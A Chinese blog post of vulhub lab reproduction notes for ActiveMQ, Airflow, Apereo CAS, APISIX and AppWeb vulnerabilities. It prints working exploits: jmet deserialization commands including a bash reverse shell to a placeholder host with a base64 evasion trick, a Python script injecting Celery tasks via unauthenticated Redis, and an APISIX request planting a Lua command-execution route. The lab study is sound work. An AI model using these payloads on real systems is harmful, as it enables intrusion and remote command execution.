首页 > 其他分享 >vulhub漏洞复现记录

vulhub漏洞复现记录

时间:2022-09-04 12:24:49浏览次数:86  
标签:vulhub airflow admin jar 认证 漏洞 复现 null ActiveMQ

vulhub复现

activemq

CVE-2015-5254

ActiveMQ是什么?

https://zhuanlan.zhihu.com/p/79264007

ActiveMQ 是 Apache 出品,最流行的,能力强劲的开源消息总线。ActiveMQ 是一个 完全支持 JMS1.1 和 J2EE 1.4 规范的 JMS Provider 实现,尽管 JMS 规范出台已经是很久 的事情了,但是 JMS 在当今的 J2EE 应用中间仍然扮演着特殊的地位。

LICENSE NOTICE README.txt activemq-all-5.11.1.jar bin conf data docs examples lib tmp webapps webapps-demo

环境

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递;8161是网络管理页面端口访问http://192.168.1.120:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。默认的用户名/密码为admin/admin)

ff97801964cf1ba1c11b82c363117292.png

image-20220820222920265

复现

image-20220821180440522

工具jmethttps://github.com/matthiaskaiser/jmet

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.1.120 61616

http://127.0.0.1:8161/admin/browse.jsp?JMSDestination=event

点击event即可导致touch /tmp/sucess成功执行

image-20220821181004286

反弹shell命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/x.x.x.x/12345 0>&1" -Yp ROME 127.0.0.1 61616
//这条命令无法反弹shell,可能是被拦截了,经实验 base64后可以反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,base64数据}|{base64,-d}|{bash,-i}" -Yp ROME 127.0.0.1 61616

服务器监听端口

nc  -lnvp 12345

image-20220821185255258

局限性

需要管理员/用户的点击

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作

ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

写入webshell

查看activeMQ的绝对路径

http://192.168.1.120:8161/admin/test/systemProperties.jsp

image-20220824132419605

image-20220824141107422

http://192.168.1.120:8161/api/shell.jsp?pwd=admin&cmd=ls

写入crontab,自动化弹shell

image-20220824141518879

image-20220824141530351

image-20220824143026152

airflow

CVE-2020-11978

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

image-20220824160928813

开启功能

image-20220824161016117

点击进入

image-20220824161232722

输入

{"message":"'";touch /tmp/airflow_dag_success;#"}

点击Trigger

image-20220824161336914

image-20220824161420233

执行成功

进入容器查看命令是否执行

image-20220824161821777

CVE-2020-11981

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。

利用这个漏洞需要控制消息中间件,Vulhub环境中Redis存在未授权访问。通过未授权访问,攻击者可以下发自带的任务airflow.executors.celery_executor.execute_command来执行任意命令,参数为命令执行中所需要的数组。

我们可以使用exploit_airflow_celery.py这个小脚本来执行命令touch /tmp/airflow_celery_success

pip install redispython exploit_airflow_celery.py [your-ip]

image-20220824162607716

import pickle
import json
import base64
import redis
import sys
r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_celery_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

base64

[[["touch", "/tmp/airflow_celery_success"]], {}, {"chain": null, "chord": null, "errbacks": null, "callbacks": null}]

CVE-2020-17526

Apache Airflow是一款开源的,分布式任务调度框架。默认情况下,Apache Airflow无需用户认证,但管理员也可以通过指定webserver.authenticate=True来开启认证。

在其1.10.13版本及以前,即使开启了认证,攻击者也可以通过一个默认密钥来绕过登录,伪造任意用户。

获取初始session

curl -v http://localhost:8080/admin/airflow/login

image-20220824185850862

利用flask-unsign解密私钥

image-20220824185934521

利用解出的私钥伪造session

image-20220824190007905

修改session,进入页面

image-20220824190035956

Apereo CAS 4.1 反序列化命令执行漏洞

Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }

随便输入账号密码点击login

image-20220824223009720

burp抓包

image-20220824223042288

execution部分经工具Apereo-CAS-Attack。使用ysoserial的CommonsCollections4生成加密后的Payload:

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "此处可反弹shell"

image-20220824223258998

image-20220824223328390

image-20220824223411190

apisix

Apache APISIX 默认密钥漏洞(CVE-2020-13945)

POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

image-20220825002507937

appweb

CVE-2018-8715

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

  • basic 传统HTTP基础认证
  • digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
  • form 表单认证

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

逻辑漏洞

复现

image-20220825113650439

image-20220825114054033

image-20220825114207682

标签:vulhub,airflow,admin,jar,认证,漏洞,复现,null,ActiveMQ
From: https://www.cnblogs.com/Sovohost-43/p/16654818.html

相关文章

  • FastJson远程命令执行漏洞学习笔记
    FastJson远程命令执行漏洞学习笔记Fastjson简介fastjson用于将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用......
  • CVE-2022-22978 Spring-Security 漏洞复现
    1说明在SpringSecurity中使用RegexRequestMatcher且规则中包含带点号的正则表达式时,攻击者可以通过构造恶意数据包绕过身份认证2环境搭建环境搭建地址可以参考如下的......
  • PHP代码审计——文件操作漏洞
    梦想CMS(lmxcms)任意文件删除1.漏洞详情——CNVD-2020-59469 2.漏洞描述称后台Ba***.cl***.php文件存在任意文件删除,查看cms源码,只有BackdbAction.class.php和Basic......
  • 会话与认证介绍以及相关漏洞案例分析
    很开心能在这边跟大家分享有关于会话跟认证相关的内容以及跟认证相关的漏洞案例分析,在这个过程中过大家有什么疑惑或者有什么我讲得不对的地方,欢迎大家及时提出,我们一起交......
  • php的可变变量覆盖漏洞
    题目如下:<?phphighlight_file('source.txt');echo"<br><br>";$flag='xxxxxxxx';$giveme='cancanneedflag!';$getout='No!flag.Tryagain.Comeon!';......
  • thinkphp 3.2.3 包含任意 文件 的漏洞,这个太多了,我就不详细了解了
    攻击的代码http://localhost/index.php?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%2782.php%27,%27%3C?php%20@eval($_PO......
  • 可别小看了XSS漏洞
    可别小看了XSS漏洞​ 对于初了解xss漏洞的人来说,XSS漏洞的危害就是获取受害者的cookie,来进行‘cookie劫持’。​ 今天就总结一下XSS漏洞的危害性,望安全人员不要轻视,开发......
  • Struts2漏洞发现
    fofa语法app=”Struts2”导出所有的url,保存为target.txt扫描漏洞./xraywebscan–pluginstruts–url-filetarget.txt–html-outputs2.html查看了一下,xray扫......
  • 网鼎杯 白虎junk复现
    Junk利用int3进行父子进程进行通信来实现smc的操作手动patch会遇到如下情况第一会遇到调用函数情况,需要手动审查给call指令让出位置第二大多采用的都是循环加密所以......
  • XSS漏洞
    (备注:以下为个人学习笔记)一、什么是XSS答:XSS(crosssitescript)或者说跨站脚本是一种Web应用程序的漏洞,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之......